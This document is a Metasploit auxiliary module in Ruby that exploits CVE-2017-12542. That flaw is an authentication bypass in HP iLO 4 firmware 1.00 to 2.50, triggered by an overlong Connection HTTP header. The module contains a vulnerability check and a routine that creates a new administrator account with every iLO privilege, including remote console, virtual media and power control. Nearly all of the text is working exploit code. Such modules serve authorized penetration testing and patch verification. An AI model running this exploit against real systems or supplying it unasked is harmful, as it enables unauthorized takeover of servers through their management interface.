HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation',
        'Description' => %q{
          This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer
          overflow in the Connection HTTP header handling by the web server.
          Exploiting this vulnerability gives full access to the REST API, allowing arbitrary
          accounts creation.
        },
        'References' => [
          [ 'CVE', '2017-12542' ],
          [ 'BID', '100467' ],
          [ 'URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-hpesbhf03769en_us' ],
          [ 'URL', 'https://www.synacktiv.com/en/publications/hp-ilo-talk-at-recon-brx-2018.html' ]
        ],
        'Author' => [
          'Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2017-08-24',
        'DefaultOptions' => { 'SSL' => true },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'Username for the new account', Rex::Text.rand_text_alphanumeric(8)]),
        OptString.new('PASSWORD', [true, 'Password for the new account', Rex::Text.rand_text_alphanumeric(12)])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/rest/v1/AccountService/Accounts',
        'headers' => {
          'Connection' => Rex::Text.rand_text_alphanumeric(29)
        }
      })
    rescue StandardError
      return Exploit::CheckCode::Unknown('Failed to connect to the target')
    end

    if (res.code == 200) && res.body.include?('"Description":"iLO User Accounts"')
      return Exploit::CheckCode::Vulnerable('Authentication bypass returned iLO User Accounts')
    end

    return Exploit::CheckCode::Safe('Authentication bypass did not return account data')
  end

  def run
    print_status("Trying to create account #{datastore['USERNAME']}...")

    data = {}
    data['UserName'] = datastore['USERNAME']
    data['Password'] = datastore['PASSWORD']
    data['Oem'] = {}
    data['Oem']['Hp'] = {}
    data['Oem']['Hp']['LoginName'] = datastore['USERNAME']
    data['Oem']['Hp']['Privileges'] = {}
    data['Oem']['Hp']['Privileges']['LoginPriv'] = true
    data['Oem']['Hp']['Privileges']['RemoteConsolePriv'] = true
    data['Oem']['Hp']['Privileges']['UserConfigPriv'] = true
    data['Oem']['Hp']['Privileges']['VirtualMediaPriv'] = true
    data['Oem']['Hp']['Privileges']['VirtualPowerAndResetPriv'] = true
    data['Oem']['Hp']['Privileges']['iLOConfigPriv'] = true

    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => '/rest/v1/AccountService/Accounts',
        'ctype' => 'application/json',
        'headers' => {
          'Connection' => Rex::Text.rand_text_alphanumeric(29)
        },
        'data' => data.to_json
      })
    rescue Rex::ConnectionRefused
      vprint_error('Connection failed')
    end

    unless res
      fail_with(Failure::Unknown, 'Connection failed')
    end

    if res.body.include? 'InvalidPasswordLength'
      fail_with(Failure::BadConfig, "Password #{datastore['PASSWORD']} is too short.")
    end

    if res.body.include? 'UserAlreadyExist'
      fail_with(Failure::BadConfig, "Unable to add login #{datastore['USERNAME']}, user already exists")
    end

    unless res.code == 201
      fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
    end

    print_good("Account #{datastore['USERNAME']}/#{datastore['PASSWORD']} created successfully.")
  end
end